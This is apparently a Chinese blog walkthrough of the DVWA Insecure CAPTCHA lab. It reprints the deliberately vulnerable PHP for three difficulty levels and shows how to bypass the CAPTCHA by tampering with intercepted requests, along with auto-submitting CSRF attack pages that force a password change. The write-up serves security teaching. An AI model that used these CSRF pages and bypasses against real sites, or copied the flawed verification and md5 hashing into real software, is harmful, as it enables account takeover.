Insecure CAPTCHA
不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称,这块主要是验证流程出现了逻辑漏洞。
可能在我们登录以后点进去这个模块,有人会遇到不能正常显示的情况,这是由于你没有在配置文件里输入谷歌密钥,这个在我的DVWA--环境部署的第二个问题里有解决方法
Low
代码分析:从代码里我们可以发现,服务器通过两步进行改密操作,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。
漏洞就是:服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key'], $_POST['g-recaptcha-response'] ); // Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action="#" method="POST"> <input type="hidden" name="step" value="2" /> <input type="hidden" name="password_new" value="{$pass_new}" /> <input type="hidden" name="password_conf" value="{$pass_conf}" /> <input type="submit" name="Change" value="Change" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
漏洞1:输入新的密码,点击change进行抓包如下
修改step参数绕过验证码,修改1为2,点击Forward放行,回到浏览器
更改密码成功
漏洞二:我们进行观察,发现Low级别没有任何的防CSRF机制,我们可以像我之前CSRF博客里的方式构造攻击页面,代码如下,当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。
<html> <body onload="document.getElementById('transfer').submit()"> <div> <form method="POST" id="transfer" action="http://192.168.29.76/DVWA-master/vulnerabilities/captcha/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="step" value="2" <input type="hidden" name="Change" value="Change"> </form> </div> </body> </html>
有一个小bug就是受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击。
Medium
代码分析:Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] ); // Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action="#" method="POST"> <input type="hidden" name="step" value="2" /> <input type="hidden" name="password_new" value="{$pass_new}" /> <input type="hidden" name="password_conf" value="{$pass_conf}" /> <input type="hidden" name="passed_captcha" value="true" /> <input type="submit" name="Change" value="Change" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "<pre><br />You have not passed the CAPTCHA.</pre>"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
漏洞一:
抓包,更改step参数,增加passed_captcha参数,来绕过验证码,这是我们现在抓包的样子
开始操作
Forward放行,修改成功
漏洞二:
同Low级别,也可以构造页面
<html> <body onload="document.getElementById('transfer').submit()"> <div> <form method="POST" id="transfer" action="http://192.168.29.76、DVWA-master/vulnerabilities/captcha/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="passed_captcha" value="true"> <input type="hidden" name="step" value="2"> <input type="hidden" name="Change" value="Change"> </form> </div> </body> </html>
High
代码分析:
服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数g-recaptcha-response不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。
<?php if( isset( $_POST[ 'Change' ] ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] ); if ( $resp || ( $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA' ) ){ // CAPTCHA was correct. Do both new passwords match? if ($pass_new == $pass_conf) { $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for user echo "<pre>Password Changed.</pre>"; } else { // Ops. Password mismatch $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
$resp参数我们无法控制,所以重心放在参数g-recaptcha-response、User-Agent上。
开始操作,日常抓包
开始改
放行,成功
Over~~~